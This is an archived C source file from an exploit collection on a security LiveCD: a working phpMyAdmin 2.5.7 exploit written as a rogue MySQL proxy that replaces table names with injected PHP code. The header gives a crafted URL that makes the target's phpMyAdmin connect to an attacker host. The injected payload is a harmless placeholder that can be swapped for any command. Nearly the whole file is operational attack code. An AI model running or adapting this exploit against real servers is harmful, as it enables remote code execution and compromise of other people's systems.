home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / phpmy-explt.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  258 lines

  1. /*    
  2.  * phpmy-explt.c  
  3.  * written by Nasir Simbolon <nasir@kecapi.com>
  4.  * http://eagle.kecapi.com
  5.  * Jakarta, Indonesia
  6.  * 
  7.  * June, 10 2004 
  8.  * 
  9.  * A phpMyAdmin-2.5.7 exploite program.
  10.  * This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
  11.  * when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
  12.  *
  13.  * Compile : gcc phpmy-explt.c -o phpmy-explt
  14.  *
  15.  * run with
  16.  * ./phpmy-explt
  17.  *
  18.  * and go to your target and put 
  19.  *
  20.  * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers][4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers][4][only_db]=databasename
  21.  *
  22.  * fill host,port,user,pass and databasename correctly
  23.  *
  24.  */
  25.  
  26.  
  27. #include<stdio.h>
  28. #include<sys/socket.h>
  29. #include<netdb.h>
  30.  
  31. #define BIND_PORT 8889
  32. #define MYSQL_PORT 3306
  33. #define HOSTNAME "localhost"
  34. #define DATABASE "phpmy"
  35.  
  36.  
  37. #define BUFFER_LEN 1024
  38.  
  39. /* This is php code we want to inject into phpMyAdmin 
  40.    Do NOT use  single quote (') in the string, use double quote (") instead
  41. */
  42. char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";
  43.  
  44.  
  45.   /* This is examples codes I captured when mysql server
  46.      reply to client's request of query "SHOW TABLES" query.
  47.      It shows  database  name 'phpmy' and contain one tablename  'mytable'
  48.      Our aim is to manipulate the data received from mysql server
  49.      by replacing 'mytable' with our exploide codes.
  50.      
  51.      0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
  52.      0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
  53.      '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
  54.      0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
  55.      -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
  56.      'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  57.   */
  58.  
  59.  
  60. int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
  61. {    
  62.    char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
  63.                  0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
  64.                 '_'}; 
  65.    /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
  66.    char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
  67.                0x1 ,0x0 ,0x0 ,0x3 ,-2};  
  68.    /* part of int phpcodes string length +1   (8) */ 
  69.    char my3[3]  = {0x0 ,0x0 ,0x4};
  70.    /* part of int phpcodes string length      (7) */ 
  71.    /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
  72.    char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};
  73.     
  74.    int len,i;
  75.  
  76.    len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
  77.    *expcode = (char*) malloc(sizeof(char) * len); 
  78.    
  79.    i = 0;
  80.    bcopy(&my1[0],*expcode + i,21);
  81.    i += 21;
  82.    bcopy(dbname, *expcode + i,strlen(dbname));
  83.    i += strlen(dbname);
  84.    bcopy(&my2[0],*expcode + i,15);
  85.    i += 15;
  86.    (*expcode)[i] = 5 + strlen(phpcodes) + 1;
  87.    i ++;
  88.    bcopy(&my3[0],*expcode + i,3);
  89.    i += 3;  
  90.    (*expcode)[i++] = 5 + strlen(phpcodes) ;
  91.    /* this is our exploite codes*/
  92.    (*expcode)[i++] = '\\'; 
  93.    (*expcode)[i++] = '\''; 
  94.    (*expcode)[i++] = ';'; 
  95.    bcopy(phpcodes,*expcode + i,strlen(phpcodes));
  96.    i += strlen(phpcodes);
  97.    (*expcode)[i++] = '/'; 
  98.    (*expcode)[i++] = '*'; 
  99.    bcopy(&my4[0],*expcode + i,5);
  100.    
  101.    return len;
  102. }
  103.  
  104. /* connect to mysql server*/
  105.  
  106. int connect_mysql()
  107. {
  108.     int s2;
  109.     struct sockaddr_in ina;
  110.     struct hostent *h;
  111.     
  112.     h = gethostbyname(HOSTNAME);
  113.     /* set internet address */
  114.     bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
  115.     ina.sin_family = AF_INET;
  116.     ina.sin_port = htons(MYSQL_PORT);
  117.     //ina.sin_zero[0]='\0';
  118.     if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0) 
  119.       perror("Socket: ");
  120.     
  121.     if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
  122.                        perror("connect()");
  123.     return s2;
  124. }
  125.  
  126. /* listener */
  127. int listener()
  128. {
  129.     int s1;
  130.     int opt;
  131.     struct sockaddr_in ina;
  132.  
  133.     /* set internet address */
  134.     ina.sin_family = AF_INET;
  135.     ina.sin_port = htons(BIND_PORT);
  136.     ina.sin_addr.s_addr = INADDR_ANY;
  137.  
  138.     if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0) 
  139.       perror("Socket: ");
  140.     
  141.     opt = 1;
  142.     setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
  143.        
  144.     if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1) 
  145.     perror("Bind: ");
  146.     
  147.     if(listen(s1, 10) == -1) 
  148.       perror("Listen"); 
  149.     
  150.    return s1;
  151. }
  152.  
  153.  
  154. int main(int argc,char* argv[])
  155. {
  156.     struct sockaddr_in ina1;
  157.     int ina1_l;
  158.     int s_daemon,s_mysql;
  159.     size_t byte_read,byte_written;
  160.     char *buf;
  161.     int sc,event,n_select;
  162.     fd_set rfds;
  163.         struct timeval tv;     
  164.     int exptlen,i;
  165.     char *expt;
  166.     char *dbname=DATABASE;
  167.     
  168.     buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
  169.     tv.tv_sec  = 15;
  170.     tv.tv_usec = 0;
  171.     
  172.     /* we listen to port */
  173.      s_daemon = listener();
  174.     
  175.     exptlen = build_exploite_code(dbname,phpcodes,&expt);
  176.  
  177.     for(;;) 
  178.     {
  179.        fprintf(stderr,"waiting for connection\n");
  180.        
  181.        if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) ) 
  182.           perror("accept()");
  183.        /* if we get here, we have a new connection */
  184.        fprintf(stderr,"got client connection\n");
  185. mysql:
  186.        /* connect to mysql */
  187.        s_mysql = connect_mysql();
  188.         
  189.        for(;;) 
  190.         {
  191.            FD_ZERO(&rfds);
  192.             FD_SET(sc,&rfds);
  193.              FD_SET(s_mysql,&rfds);                                
  194.         
  195.             n_select = (sc > s_mysql)? sc : s_mysql;
  196.  
  197.             event = select(n_select+1,&rfds,NULL,NULL,NULL);
  198.             if(-1  == event) 
  199.             perror("select()");
  200.             else 
  201.         {    
  202.             if(FD_ISSET(s_mysql,&rfds)) 
  203.              {
  204.             byte_read = read(s_mysql,buf,BUFFER_LEN);
  205.                 /* check for closing client connection*/
  206.                 if(byte_read == 0) 
  207.                   {
  208.                shutdown(s_mysql,SHUT_RDWR);
  209.                close(s_mysql);
  210.                goto mysql;
  211.                 }
  212.  
  213.              /* check data received from mysql server.
  214.               * if  buf[11] contain 'T', data received from   mysq server is table list
  215.               *
  216.               * NOW we replace the table with our exploite codes and send them to client
  217.               */
  218.                 if( 'T' == buf[11])
  219.             {
  220.                    for(i=0;i<exptlen;i++) 
  221.                       buf[i] = expt[i];
  222.                    byte_read = exptlen;
  223.                 }
  224.                
  225.                 if(write(sc, buf, byte_read) < 0)
  226.                    break; 
  227.              }
  228.                
  229.                  if(FD_ISSET(sc,&rfds)) 
  230.              {    
  231.                     byte_read = read(sc,buf,BUFFER_LEN);
  232.                  /* check for closing client connection*/
  233.                  if(byte_read == 0) 
  234.                  {    
  235.                 close(sc);    
  236.                 break;
  237.                  }
  238.  
  239.                if(write(s_mysql,buf,byte_read) < 0) 
  240.                    break;         
  241.              }    
  242. #if defined(DEBUG)             
  243.              fprintf(stderr,"data:\n");    
  244.              for(i=0;i<byte_read;i++) 
  245.                  fprintf(stderr," %c(%x) ",buf[i],buf[i]);
  246. #endif    
  247.             }   
  248.  
  249.         } 
  250.     }
  251.     free(buf);
  252.     free(expt);
  253.     return 0;
  254. }     
  255.        
  256.   
  257.  
  258.